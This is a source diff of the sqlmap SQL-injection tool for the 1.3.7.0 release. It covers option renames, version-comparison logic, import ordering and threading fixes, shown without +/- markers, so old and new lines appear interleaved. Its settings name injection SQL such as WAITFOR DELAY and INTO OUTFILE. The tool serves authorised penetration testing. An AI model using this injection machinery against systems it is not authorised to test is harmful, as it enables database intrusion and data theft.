@@ -1342,6 +1360,7 @@ def setPaths(rootPath):
# sqlmap files
paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt")
paths.COMMON_FILES = os.path.join(paths.SQLMAP_TXT_PATH, "common-files.txt")
paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt")
paths.COMMON_OUTPUTS = os.path.join(paths.SQLMAP_TXT_PATH, 'common-outputs.txt')
paths.SQL_KEYWORDS = os.path.join(paths.SQLMAP_TXT_PATH, "keywords.txt")
@@ -1476,7 +1495,7 @@ def parseTargetDirect():
if dbmsName in (DBMS.MSSQL, DBMS.SYBASE):
__import__("_mssql")
import pymssql
pymssql = __import__("pymssql")
if not hasattr(pymssql, "__version__") or pymssql.__version__ < "1.0.2":
errMsg = "'%s' third-party library must be " % data[1]
@@ -1537,7 +1556,7 @@ def parseTargetUrl():
errMsg += "on this platform"
raise SqlmapGenericException(errMsg)
if not re.search(r"^https?://", conf.url, re.I) and not re.search(r"^wss?://", conf.url, re.I):
if not re.search(r"^(http|ws)s?://", conf.url, re.I):
if re.search(r":443\b", conf.url):
conf.url = "https://%s" % conf.url
else:
@@ -1556,10 +1575,13 @@ def parseTargetUrl():
hostnamePort = urlSplit.netloc.split(":") if not re.search(r"\[.+\]", urlSplit.netloc) else filterNone((re.search(r"\[.+\]", urlSplit.netloc).group(0), re.search(r"\](:(?P<port>\d+))?", urlSplit.netloc).group("port")))
conf.scheme = (urlSplit.scheme.strip().lower() or "http") if not conf.forceSSL else "https"
conf.scheme = (urlSplit.scheme.strip().lower() or "http")
conf.path = urlSplit.path.strip()
conf.hostname = hostnamePort[0].strip()
if conf.forceSSL:
conf.scheme = re.sub(r"(?i)\A(http|ws)\Z", r"\g<1>s", conf.scheme)
conf.ipv6 = conf.hostname != conf.hostname.strip("[]")
conf.hostname = conf.hostname.strip("[]").replace(kb.customInjectionMark, "")
@@ -1581,7 +1603,7 @@ def parseTargetUrl():
except:
errMsg = "invalid target URL"
raise SqlmapSyntaxException(errMsg)
elif conf.scheme == "https":
elif conf.scheme in ("https", "wss"):
conf.port = 443
else:
conf.port = 80
@@ -2530,7 +2552,7 @@ def pushValue(value):
Push value to the stack (thread dependent)
"""
_ = None
exception = None
success = False
for i in xrange(PUSH_VALUE_EXCEPTION_RETRY_COUNT):
@@ -2539,13 +2561,13 @@ def pushValue(value):
success = True
break
except Exception as ex:
_ = ex
exception = ex
if not success:
getCurrentThreadData().valueStack.append(None)
if _:
raise _
if exception:
raise exception
def popValue():
"""
@@ -2649,12 +2671,15 @@ def extractErrorMessage(page):
retVal = None
if isinstance(page, six.string_types):
if wasLastResponseDBMSError():
page = re.sub(r"<[^>]+>", "", page)
for regex in ERROR_PARSING_REGEXES:
match = re.search(regex, page, re.IGNORECASE)
if match:
candidate = htmlUnescape(match.group("result")).replace("<br>", "\n").strip()
if re.search(r"\b([a-z]+ ){5}", candidate) is None: # check for legitimate (e.g. Warning:...) text
if candidate and (1.0 * len(re.findall(r"[^A-Za-z,. ]", candidate)) / len(candidate) > MIN_ERROR_PARSING_NON_WRITING_RATIO):
retVal = candidate
break
@@ -3100,37 +3125,69 @@ def filterNone(values):
return retVal
def isDBMSVersionAtLeast(version):
def isDBMSVersionAtLeast(minimum):
"""
Checks if the recognized DBMS version is at least the version specified
>>> pushValue(kb.dbmsVersion)
>>> kb.dbmsVersion = "2"
>>> isDBMSVersionAtLeast("1.3.4.1.4")
True
>>> isDBMSVersionAtLeast(2.1)
False
>>> isDBMSVersionAtLeast(">2")
False
>>> isDBMSVersionAtLeast(">=2.0")
True
>>> kb.dbmsVersion = "<2"
>>> isDBMSVersionAtLeast("2")
False
>>> isDBMSVersionAtLeast("1.5")
True
>>> kb.dbmsVersion = "MySQL 5.4.3-log4"
>>> isDBMSVersionAtLeast("5")
True
>>> kb.dbmsVersion = popValue()
"""
retVal = None
if Backend.getVersion() and Backend.getVersion() != UNKNOWN_DBMS_VERSION:
value = Backend.getVersion().replace(" ", "").rstrip('.')
if not any(isNoneValue(_) for _ in (Backend.getVersion(), minimum)) and Backend.getVersion() != UNKNOWN_DBMS_VERSION:
version = Backend.getVersion().replace(" ", "").rstrip('.')
while True:
index = value.find('.', value.find('.') + 1)
correction = 0.0
if ">=" in version:
pass
elif '>' in version:
correction = VERSION_COMPARISON_CORRECTION
elif '<' in version:
correction = -VERSION_COMPARISON_CORRECTION
if index > -1:
value = value[0:index] + value[index + 1:]
else:
break
version = extractRegexResult(r"(?P<result>[0-9][0-9.]*)", version)
value = filterStringValue(value, '[0-9.><=]')
if version:
if '.' in version:
parts = version.split('.', 1)
parts[1] = filterStringValue(parts[1], '[0-9]')
version = '.'.join(parts)
if value and isinstance(value, six.string_types):
if value.startswith(">="):
value = float(value.replace(">=", ""))
elif value.startswith(">"):
value = float(value.replace(">", "")) + 0.01
elif value.startswith("<="):
value = float(value.replace("<=", ""))
elif value.startswith(">"):
value = float(value.replace("<", "")) - 0.01
version = float(filterStringValue(version, '[0-9.]')) + correction
retVal = distutils.version.LooseVersion(getUnicode(value)) >= distutils.version.LooseVersion(getUnicode(version))
if isinstance(minimum, six.string_types):
if '.' in minimum:
parts = minimum.split('.', 1)
parts[1] = filterStringValue(parts[1], '[0-9]')
minimum = '.'.join(parts)
correction = 0.0
if minimum.startswith(">="):
pass
elif minimum.startswith(">"):
correction = VERSION_COMPARISON_CORRECTION
minimum = float(filterStringValue(minimum, '[0-9.]')) + correction
retVal = version >= minimum
return retVal
@@ -3178,7 +3235,7 @@ def isTechniqueAvailable(technique):
>>> kb.injection.data = popValue()
"""
if conf.tech and isinstance(conf.tech, list) and technique not in conf.tech:
if conf.technique and isinstance(conf.technique, list) and technique not in conf.technique:
return False
else:
return getTechniqueData(technique) is not None
@@ -3188,18 +3245,16 @@ def isHeavyQueryBased(technique=None):
Returns True whether current (kb.)technique is heavy-query based
>>> pushValue(kb.injection.data)
>>> pushValue(kb.technique)
>>> kb.technique = PAYLOAD.TECHNIQUE.STACKED
>>> kb.injection.data[kb.technique] = [test for test in getSortedInjectionTests() if "heavy" in test["title"].lower()][0]
>>> setTechnique(PAYLOAD.TECHNIQUE.STACKED)
>>> kb.injection.data[getTechnique()] = [test for test in getSortedInjectionTests() if "heavy" in test["title"].lower()][0]
>>> isHeavyQueryBased()
True
>>> kb.technique = popValue()
>>> kb.injection.data = popValue()
"""
retVal = False
technique = technique or kb.technique
technique = technique or getTechnique()
if isTechniqueAvailable(technique):
data = getTechniqueData(technique)
@@ -3587,7 +3642,7 @@ def unhandledExceptionMessage():
errMsg += "Python version: %s\n" % PYVERSION
errMsg += "Operating system: %s\n" % platform.platform()
errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap\.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=sys.stdin.encoding))
errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, kb.technique) if kb.get("technique") else ("DIRECT" if conf.get("direct") else None))
errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, getTechnique()) if getTechnique() is not None else ("DIRECT" if conf.get("direct") else None))
errMsg += "Back-end DBMS:"
if Backend.getDbms() is not None:
@@ -4230,7 +4285,7 @@ def asciifyUrl(url, forceQuote=False):
"""
parts = _urllib.parse.urlsplit(url)
if not parts.scheme or not parts.netloc:
if not all((parts.scheme, parts.netloc, parts.hostname)):
# apparently not an url
return getText(url)
@@ -4316,9 +4371,9 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
True
"""
class _(six.StringIO):
class _(six.StringIO, object):
def __init__(self, content, url):
six.StringIO.__init__(self, content)
super(_, self).__init__(content)
self._url = url
def geturl(self):
@@ -4460,9 +4515,9 @@ def getHostHeader(url):
return retVal
def checkObsoleteOptions(args):
def checkOldOptions(args):
"""
Checks for obsolete options
Checks for obsolete/deprecated options
"""
for _ in args:
@@ -4472,6 +4527,11 @@ def checkObsoleteOptions(args):
if OBSOLETE_OPTIONS[_]:
errMsg += " (hint: %s)" % OBSOLETE_OPTIONS[_]
raise SqlmapSyntaxException(errMsg)
elif _ in DEPRECATED_OPTIONS:
warnMsg = "switch/option '%s' is deprecated" % _
if DEPRECATED_OPTIONS[_]:
warnMsg += " (hint: %s)" % DEPRECATED_OPTIONS[_]
logger.warn(warnMsg)
def checkSystemEncoding():
"""
@@ -4590,6 +4650,8 @@ def decodeDbmsHexValue(value, raw=False):
def _(value):
retVal = value
if value and isinstance(value, six.string_types):
value = value.strip()
if len(value) % 2 != 0:
retVal = (decodeHex(value[:-1]) + b'?') if len(value) > 1 else value
singleTimeWarnMessage("there was a problem decoding value '%s' from expected hexadecimal form" % value)
@@ -5045,6 +5107,8 @@ def getSafeExString(ex, encoding=None):
>>> getSafeExString(SqlmapBaseException('foobar')) == 'foobar'
True
>>> getSafeExString(OSError(0, 'foobar')) == 'OSError: foobar'
True
"""
retVal = None
@@ -5053,10 +5117,11 @@ def getSafeExString(ex, encoding=None):
retVal = ex.message
elif getattr(ex, "msg", None):
retVal = ex.msg
elif isinstance(ex, (list, tuple)) and len(ex) > 1 and isinstance(ex[1], six.string_types):
retVal = ex[1]
elif isinstance(ex, (list, tuple)) and len(ex) > 0 and isinstance(ex[0], six.string_types):
retVal = ex[0]
elif getattr(ex, "args", None):
for candidate in ex.args[::-1]:
if isinstance(candidate, six.string_types):
retVal = candidate
break
if retVal is None:
retVal = str(ex)
+3 -1
View File
@@ -5,13 +5,15 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from __future__ import division
import binascii
import functools
import math
import os
import random
import uuid
import sys
import uuid
class WichmannHill(random.Random):
"""
+3 -2
View File
@@ -18,6 +18,7 @@ import json
import re
import sys
from lib.core.bigarray import BigArray
from lib.core.data import conf
from lib.core.data import kb
from lib.core.settings import INVALID_UNICODE_PRIVATE_AREA
@@ -102,7 +103,7 @@ def filterNone(values): # Cross-referenced function
return [_ for _ in values if _] if isinstance(values, collections.Iterable) else values
def isListLike(value): # Cross-referenced function
raise NotImplementedError
return isinstance(value, (list, tuple, set, BigArray))
def shellExec(cmd): # Cross-referenced function
raise NotImplementedError
@@ -345,7 +346,7 @@ def stdoutEncode(value):
kb.codePage = kb.codePage or ""
if isinstance(value, six.text_type):
encoding = kb.get("codePage") or sys.stdout.encoding or UNICODE_ENCODING
encoding = kb.get("codePage") or getattr(sys.stdout, "encoding", None) or UNICODE_ENCODING
while True:
try:
+1 -1
View File
@@ -9,9 +9,9 @@ import functools
import hashlib
import threading
from lib.core.datatype import LRUDict
from lib.core.settings import MAX_CACHE_ITEMS
from lib.core.settings import UNICODE_ENCODING
from lib.core.datatype import LRUDict
from lib.core.threads import getCurrentThreadData
_lock = threading.Lock()
+1 -1
View File
@@ -20,7 +20,7 @@ _defaults = {
"level": 1,
"risk": 1,
"dumpFormat": "CSV",
"tech": "BEUSTQ",
"technique": "BEUSTQ",
"torType": "SOCKS5",
}
+13 -10
View File
@@ -9,21 +9,21 @@ from lib.core.enums import CONTENT_TYPE
from lib.core.enums import DBMS
from lib.core.enums import OS
from lib.core.enums import POST_HINT
from lib.core.settings import ACCESS_ALIASES
from lib.core.settings import BLANK
from lib.core.settings import NULL
from lib.core.settings import DB2_ALIASES
from lib.core.settings import FIREBIRD_ALIASES
from lib.core.settings import H2_ALIASES
from lib.core.settings import HSQLDB_ALIASES
from lib.core.settings import INFORMIX_ALIASES
from lib.core.settings import MAXDB_ALIASES
from lib.core.settings import MSSQL_ALIASES
from lib.core.settings import MYSQL_ALIASES
from lib.core.settings import PGSQL_ALIASES
from lib.core.settings import NULL
from lib.core.settings import ORACLE_ALIASES
from lib.core.settings import PGSQL_ALIASES
from lib.core.settings import SQLITE_ALIASES
from lib.core.settings import ACCESS_ALIASES
from lib.core.settings import FIREBIRD_ALIASES
from lib.core.settings import MAXDB_ALIASES
from lib.core.settings import SYBASE_ALIASES
from lib.core.settings import DB2_ALIASES
from lib.core.settings import HSQLDB_ALIASES
from lib.core.settings import H2_ALIASES
from lib.core.settings import INFORMIX_ALIASES
FIREBIRD_TYPES = {
261: "BLOB",
@@ -290,10 +290,13 @@ OBSOLETE_OPTIONS = {
"--purge-output": "use '--purge' instead",
"--check-payload": None,
"--check-waf": None,
"--identify-waf": "functionality being done automatically",
"--pickled-options": "use '--api -c ...' instead",
}
DEPRECATED_OPTIONS = {
"--identify-waf": "functionality being done automatically",
}
DUMP_DATA_PREPROCESS = {
DBMS.ORACLE: {"XMLTYPE": "(%s).getStringVal()"}, # Reference: https://www.tibcommunity.com/docs/DOC-3643
DBMS.MSSQL: {"IMAGE": "CONVERT(VARBINARY(MAX),%s)"},
+2 -3
View File
@@ -13,6 +13,7 @@ import shutil
import tempfile
import threading
from extra.safe2bin.safe2bin import safechardecode
from lib.core.common import Backend
from lib.core.common import checkFile
from lib.core.common import dataToDumpFile
@@ -39,8 +40,8 @@ from lib.core.enums import CONTENT_TYPE
from lib.core.enums import DBMS
from lib.core.enums import DUMP_FORMAT
from lib.core.exception import SqlmapGenericException
from lib.core.exception import SqlmapValueException
from lib.core.exception import SqlmapSystemException
from lib.core.exception import SqlmapValueException
from lib.core.replication import Replication
from lib.core.settings import DUMP_FILE_BUFFER_SIZE
from lib.core.settings import HTML_DUMP_CSS_STYLE
@@ -55,8 +56,6 @@ from lib.core.settings import WINDOWS_RESERVED_NAMES
from thirdparty import six
from thirdparty.magic import magic
from extra.safe2bin.safe2bin import safechardecode
class Dump(object):
"""
This class defines methods used to parse and output the results
+16 -13
View File
@@ -5,6 +5,8 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from __future__ import division
import functools
import glob
import inspect
@@ -24,8 +26,6 @@ from lib.core.common import boldifyMessage
from lib.core.common import checkFile
from lib.core.common import dataToStdout
from lib.core.common import decodeStringEscape
from lib.core.common import getPublicTypeMembers
from lib.core.common import getSafeExString
from lib.core.common import fetchRandomAgent
from lib.core.common import filterNone
from lib.core.common import findLocalPort
@@ -33,6 +33,8 @@ from lib.core.common import findPageForms
from lib.core.common import getConsoleWidth
from lib.core.common import getFileItems
from lib.core.common import getFileType
from lib.core.common import getPublicTypeMembers
from lib.core.common import getSafeExString
from lib.core.common import intersect
from lib.core.common import normalizePath
from lib.core.common import ntToPosixSlashes
@@ -132,19 +134,19 @@ from lib.parse.payloads import loadBoundaries
from lib.parse.payloads import loadPayloads
from lib.parse.sitemap import parseSitemap
from lib.request.basic import checkCharEncoding
from lib.request.connect import Connect as Request
from lib.request.dns import DNSServer
from lib.request.basicauthhandler import SmartHTTPBasicAuthHandler
from lib.request.chunkedhandler import ChunkedHandler
from lib.request.connect import Connect as Request
from lib.request.dns import DNSServer
from lib.request.httpshandler import HTTPSHandler
from lib.request.pkihandler import HTTPSPKIAuthHandler
from lib.request.rangehandler import HTTPRangeHandler
from lib.request.redirecthandler import SmartRedirectHandler
from lib.utils.har import HTTPCollectorFactory
from lib.utils.crawler import crawl
from lib.utils.deps import checkDependencies
from lib.utils.search import search
from lib.utils.har import HTTPCollectorFactory
from lib.utils.purge import purge
from lib.utils.search import search
from thirdparty import six
from thirdparty.keepalive import keepalive
from thirdparty.multipart import multipartpost
@@ -660,10 +662,10 @@ def _setTechnique():
validTechniques = sorted(getPublicTypeMembers(PAYLOAD.TECHNIQUE), key=lambda x: x[1])
validLetters = [_[0][0].upper() for _ in validTechniques]
if conf.tech and isinstance(conf.tech, six.string_types):
if conf.technique and isinstance(conf.technique, six.string_types):
_ = []
for letter in conf.tech.upper():
for letter in conf.technique.upper():
if letter not in validLetters:
errMsg = "value for --technique must be a string composed "
errMsg += "by the letters %s. Refer to the " % ", ".join(validLetters)
@@ -675,7 +677,7 @@ def _setTechnique():
_.append(validInt)
break
conf.tech = _
conf.technique = _
def _setDBMS():
"""
@@ -1157,7 +1159,7 @@ def _setSafeVisit():
else:
conf.safeUrl = "http://" + conf.safeUrl
if conf.safeFreq <= 0:
if (conf.safeFreq or 0) <= 0:
errMsg = "please provide a valid value (>0) for safe frequency (--safe-freq) while using safe visit features"
raise SqlmapSyntaxException(errMsg)
@@ -1595,7 +1597,7 @@ def _cleanupOptions():
conf.delay = float(conf.delay)
if conf.url:
conf.url = conf.url.strip()
conf.url = conf.url.strip().lstrip('/')
if not re.search(r"\A\w+://", conf.url):
conf.url = "http://%s" % conf.url
@@ -1875,6 +1877,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.followSitemapRecursion = None
kb.forcedDbms = None
kb.forcePartialUnion = False
kb.forceThreads = None
kb.forceWhere = None
kb.futileUnion = None
kb.heavilyDynamic = False
@@ -1884,7 +1887,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.heuristicMode = False
kb.heuristicPage = False
kb.heuristicTest = None
kb.hintValue = None
kb.hintValue = ""
kb.htmlFp = []
kb.httpErrorCodes = {}
kb.inferenceMode = False
@@ -2473,7 +2476,7 @@ def _basicOptionValidation():
errMsg = "option '-d' is incompatible with switch '--tor'"
raise SqlmapSyntaxException(errMsg)
if not conf.tech:
if not conf.technique:
errMsg = "option '--technique' can't be empty"
raise SqlmapSyntaxException(errMsg)
+2 -1
View File
@@ -105,7 +105,7 @@ optDict = {
},
"Techniques": {
"tech": "string",
"technique": "string",
"timeSec": "integer",
"uCols": "string",
"uChar": "string",
@@ -160,6 +160,7 @@ optDict = {
"Brute": {
"commonTables": "boolean",
"commonColumns": "boolean",
"commonFiles": "boolean",
},
"User-defined function": {
+3 -4
View File
@@ -9,27 +9,26 @@ import codecs
import lib.controller.checks
import lib.core.common
import lib.core.threads
import lib.core.convert
import lib.core.option
import lib.core.threads
import lib.request.connect
import lib.utils.search
import lib.utils.sqlalchemy
import thirdparty.ansistrm.ansistrm
import thirdparty.chardet.universaldetector
from lib.request.templates import getPageTemplate
from lib.core.common import filterNone
from lib.core.common import getSafeExString
from lib.core.common import isListLike
from lib.core.common import singleTimeWarnMessage
from lib.core.common import readInput
from lib.core.common import shellExec
from lib.core.common import singleTimeWarnMessage
from lib.core.convert import stdoutEncode
from lib.core.option import _setHTTPHandlers
from lib.core.option import setVerbosity
from lib.core.settings import IS_WIN
from lib.request.templates import getPageTemplate
from thirdparty.six.moves import http_client as _http_client
def dirtyPatches():
+1 -1
View File
@@ -6,8 +6,8 @@ See the file 'LICENSE' for copying permission
"""
import codecs
import os
import cProfile
import os
from lib.core.common import getSafeExString
from lib.core.data import logger
+18 -9
View File
@@ -18,7 +18,7 @@ from lib.core.enums import OS
from thirdparty.six import unichr as _unichr
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.3.6.0"
VERSION = "1.3.7.0"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -46,10 +46,10 @@ DIFF_TOLERANCE = 0.05
CONSTANT_RATIO = 0.9
# Ratio used in heuristic check for WAF/IPS protected targets
IDS_WAF_CHECK_RATIO = 0.5
IPS_WAF_CHECK_RATIO = 0.5
# Timeout used in heuristic check for WAF/IPS protected targets
IDS_WAF_CHECK_TIMEOUT = 10
IPS_WAF_CHECK_TIMEOUT = 10
# Lower and upper values for match ratio in case of stable page
LOWER_RATIO_BOUND = 0.02
@@ -296,7 +296,7 @@ BASIC_HELP_ITEMS = (
"dbms",
"level",
"risk",
"tech",
"technique",
"getAll",
"getBanner",
"getCurrentUser",
@@ -420,7 +420,7 @@ MIN_ERROR_CHUNK_LENGTH = 8
MAX_ERROR_CHUNK_LENGTH = 1024
# Do not escape the injected statement if it contains any of the following SQL keywords
EXCLUDE_UNESCAPE = ("WAITFOR DELAY ", " INTO DUMPFILE ", " INTO OUTFILE ", "CREATE ", "BULK ", "EXEC ", "RECONFIGURE ", "DECLARE ", "'%s'" % CHAR_INFERENCE_MARK)
EXCLUDE_UNESCAPE = ("WAITFOR DELAY '", " INTO DUMPFILE ", " INTO OUTFILE ", "CREATE ", "BULK ", "EXEC ", "RECONFIGURE ", "DECLARE ", "'%s'" % CHAR_INFERENCE_MARK)
# Mark used for replacement of reflected values
REFLECTED_VALUE_MARKER = "__REFLECTED_VALUE__"
@@ -500,6 +500,9 @@ DEFAULT_TOR_HTTP_PORTS = (8123, 8118)
# Percentage below which comparison engine could have problems
LOW_TEXT_PERCENT = 20
# Auxiliary value used in isDBMSVersionAtLeast() version comparison correction cases
VERSION_COMPARISON_CORRECTION = 0.0001
# These MySQL keywords can't go (alone) into versioned comment form (/*!...*/)
# Reference: http://dev.mysql.com/doc/refman/5.1/en/function-resolution.html
IGNORE_SPACE_AFFECTED_KEYWORDS = ("CAST", "COUNT", "EXTRACT", "GROUP_CONCAT", "MAX", "MID", "MIN", "SESSION_USER", "SUBSTR", "SUBSTRING", "SUM", "SYSTEM_USER", "TRIM")
@@ -542,6 +545,9 @@ SHELLCODEEXEC_RANDOM_STRING_MARKER = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
# Period after last-update to start nagging about the old revision
LAST_UPDATE_NAGGING_DAYS = 60
# Minimum non-writing chars (e.g. ['"-:/]) ratio in case of parsed error messages
MIN_ERROR_PARSING_NON_WRITING_RATIO = 0.05
# Generic address for checking the Internet connection while using switch --check-internet
CHECK_INTERNET_ADDRESS = "https://ipinfo.io/"
@@ -648,6 +654,9 @@ MAX_SINGLE_URL_REDIRECTIONS = 4
# Maximum total number of redirections (regardless of URL) - before assuming we're in a loop
MAX_TOTAL_REDIRECTIONS = 10
# Maximum (deliberate) delay used in page stability check
MAX_STABILITY_DELAY = 0.5
# Reference: http://www.tcpipguide.com/free/t_DNSLabelsNamesandSyntaxRules.htm
MAX_DNS_LABEL = 63
@@ -669,8 +678,8 @@ FI_ERROR_REGEX = r"(?i)[^\n]{0,100}(no such file|failed (to )?open)[^\n]{0,100}"
# Length of prefix and suffix used in non-SQLI heuristic checks
NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6
# Connection chunk size (processing large responses in chunks to avoid MemoryError crashes - e.g. large table dump in full UNION injections)
MAX_CONNECTION_CHUNK_SIZE = 10 * 1024 * 1024
# Connection read size (processing large responses in parts to avoid MemoryError crashes - e.g. large table dump in full UNION injections)
MAX_CONNECTION_READ_SIZE = 10 * 1024 * 1024
# Maximum response total page size (trimmed if larger)
MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024
@@ -681,8 +690,8 @@ MAX_DIFFLIB_SEQUENCE_LENGTH = 10 * 1024 * 1024
# Maximum (multi-threaded) length of entry in bisection algorithm
MAX_BISECTION_LENGTH = 50 * 1024 * 1024
# Mark used for trimming unnecessary content in large chunks
LARGE_CHUNK_TRIM_MARKER = "__TRIMMED_CONTENT__"
# Mark used for trimming unnecessary content in large connection reads
LARGE_READ_TRIM_MARKER = "__TRIMMED_CONTENT__"
# Generic SQL comment formation
GENERIC_SQL_COMMENT = "-- [RANDSTR]"
+5 -4
View File
@@ -5,6 +5,8 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from __future__ import division
import errno
import os
import subprocess
@@ -12,7 +14,6 @@ import time
from lib.core.compat import buffer
from lib.core.settings import IS_WIN
from thirdparty import six
if IS_WIN:
try:
@@ -98,7 +99,7 @@ class Popen(subprocess.Popen):
except ValueError:
return self._close('stdin')
except (subprocess.pywintypes.error, Exception) as ex:
if (ex[0] if six.PY2 else ex.errno) in (109, errno.ESHUTDOWN):
if ex.args[0] in (109, errno.ESHUTDOWN):
return self._close('stdin')
raise
@@ -119,7 +120,7 @@ class Popen(subprocess.Popen):
except (ValueError, NameError):
return self._close(which)
except (subprocess.pywintypes.error, Exception) as ex:
if (ex[0] if six.PY2 else ex.errno) in (109, errno.ESHUTDOWN):
if ex.args[0] in (109, errno.ESHUTDOWN):
return self._close(which)
raise
@@ -137,7 +138,7 @@ class Popen(subprocess.Popen):
try:
written = os.write(self.stdin.fileno(), input)
except OSError as ex:
if (ex[0] if six.PY2 else ex.errno) == errno.EPIPE: # broken pipe
if ex.args[0] == errno.EPIPE: # broken pipe
return self._close('stdin')
raise
+8 -7
View File
@@ -48,18 +48,18 @@ from lib.core.exception import SqlmapMissingPrivileges
from lib.core.exception import SqlmapNoneDataException
from lib.core.exception import SqlmapSystemException
from lib.core.exception import SqlmapUserQuitException
from lib.core.option import _setAuthCred
from lib.core.option import _setDBMS
from lib.core.option import _setKnowledgeBaseAttributes
from lib.core.option import _setAuthCred
from lib.core.settings import ARRAY_LIKE_RECOGNITION_REGEX
from lib.core.settings import ASTERISK_MARKER
from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES
from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
from lib.core.settings import HOST_ALIASES
from lib.core.settings import ARRAY_LIKE_RECOGNITION_REGEX
from lib.core.settings import INJECT_HERE_REGEX
from lib.core.settings import JSON_RECOGNITION_REGEX
from lib.core.settings import JSON_LIKE_RECOGNITION_REGEX
from lib.core.settings import JSON_RECOGNITION_REGEX
from lib.core.settings import MULTIPART_RECOGNITION_REGEX
from lib.core.settings import PROBLEMATIC_CUSTOM_INJECTION_PATTERNS
from lib.core.settings import REFERER_ALIASES
@@ -458,11 +458,12 @@ def _resumeHashDBValues():
for injection in hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) or []:
if isinstance(injection, InjectionDict) and injection.place in conf.paramDict and injection.parameter in conf.paramDict[injection.place]:
if not conf.tech or intersect(conf.tech, injection.data.keys()):
if intersect(conf.tech, injection.data.keys()):
injection.data = dict(_ for _ in injection.data.items() if _[0] in conf.tech)
if not conf.technique or intersect(conf.technique, injection.data.keys()):
if intersect(conf.technique, injection.data.keys()):
injection.data = dict(_ for _ in injection.data.items() if _[0] in conf.technique)
if injection not in kb.injections:
kb.injections.append(injection)
kb.vulnHosts.add(conf.hostname)
_resumeDBMS()
_resumeOS()
@@ -585,7 +586,7 @@ def _createFilesDir():
Create the file directory.
"""
if not conf.fileRead:
if not any((conf.fileRead, conf.commonFiles)):
return
conf.filePath = paths.SQLMAP_FILES_PATH % conf.hostname
+24
View File
@@ -5,6 +5,8 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from __future__ import division
import codecs
import doctest
import logging
@@ -34,6 +36,7 @@ from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
from lib.core.data import queries
from lib.core.enums import MKSTEMP_PREFIX
from lib.core.exception import SqlmapBaseException
from lib.core.exception import SqlmapNotVulnerableException
@@ -181,6 +184,27 @@ def smokeTest():
status = '%d/%d (%d%%) ' % (count, length, round(100.0 * count / length))
dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
def _(node):
for __ in dir(node):
if not __.startswith('_'):
candidate = getattr(node, __)
if isinstance(candidate, str):
if '\\' in candidate:
try:
re.compile(candidate)
except:
errMsg = "smoke test failed at compiling '%s'" % candidate
logger.error(errMsg)
raise
else:
_(candidate)
for dbms in queries:
try:
_(queries[dbms])
except:
retVal = False
clearConsoleLine()
if retVal:
logger.info("smoke test final result: PASSED")
+5 -5
View File
@@ -50,19 +50,20 @@ class _ThreadData(threading.local):
self.lastComparisonHeaders = None
self.lastComparisonCode = None
self.lastComparisonRatio = None
self.lastErrorPage = None
self.lastErrorPage = tuple()
self.lastHTTPError = None
self.lastRedirectMsg = None
self.lastQueryDuration = 0
self.lastPage = None
self.lastRequestMsg = None
self.lastRequestUID = 0
self.lastRedirectURL = None
self.lastRedirectURL = tuple()
self.random = WichmannHill()
self.resumed = False
self.retriesCount = 0
self.seqMatcher = difflib.SequenceMatcher(None)
self.shared = shared
self.technique = None
self.validationRun = 0
self.valueStack = []
@@ -77,8 +78,6 @@ def getCurrentThreadData():
Returns current thread's local data
"""
global ThreadData
return ThreadData
def getCurrentThreadName():
@@ -115,6 +114,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
kb.threadContinue = True
kb.threadException = False
kb.technique = ThreadData.technique
if threadChoice and numThreads == 1 and not (kb.injection.data and not any(_ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in kb.injection.data)):
while True:
@@ -206,9 +206,9 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
traceback.print_exc()
finally:
kb.bruteMode = False
kb.threadContinue = True
kb.threadException = False
kb.technique = None
for lock in kb.locks.values():
if lock.locked():
+1 -1
View File
@@ -14,8 +14,8 @@ import time
import zipfile
from lib.core.common import dataToStdout
from lib.core.common import getSafeExString
from lib.core.common import getLatestRevision
from lib.core.common import getSafeExString
from lib.core.common import openFile
from lib.core.common import pollProcess
from lib.core.common import readInput
+328 -292
View File
File diff suppressed because it is too large Load Diff
-2
View File
@@ -27,8 +27,6 @@ def configFileProxy(section, option, datatype):
advanced dictionary.
"""
global config
if config.has_option(section, option):
try:
if datatype == OPTION_TYPE.BOOLEAN:
+1
View File
@@ -8,6 +8,7 @@ See the file 'LICENSE' for copying permission
import re
from xml.sax.handler import ContentHandler
from lib.core.common import sanitizeStr
class FingerprintHandler(ContentHandler):
+3 -3
View File
@@ -14,12 +14,12 @@ class ChunkedHandler(_urllib.request.HTTPHandler):
"""
def _http_request(self, request):
host = request.get_host()
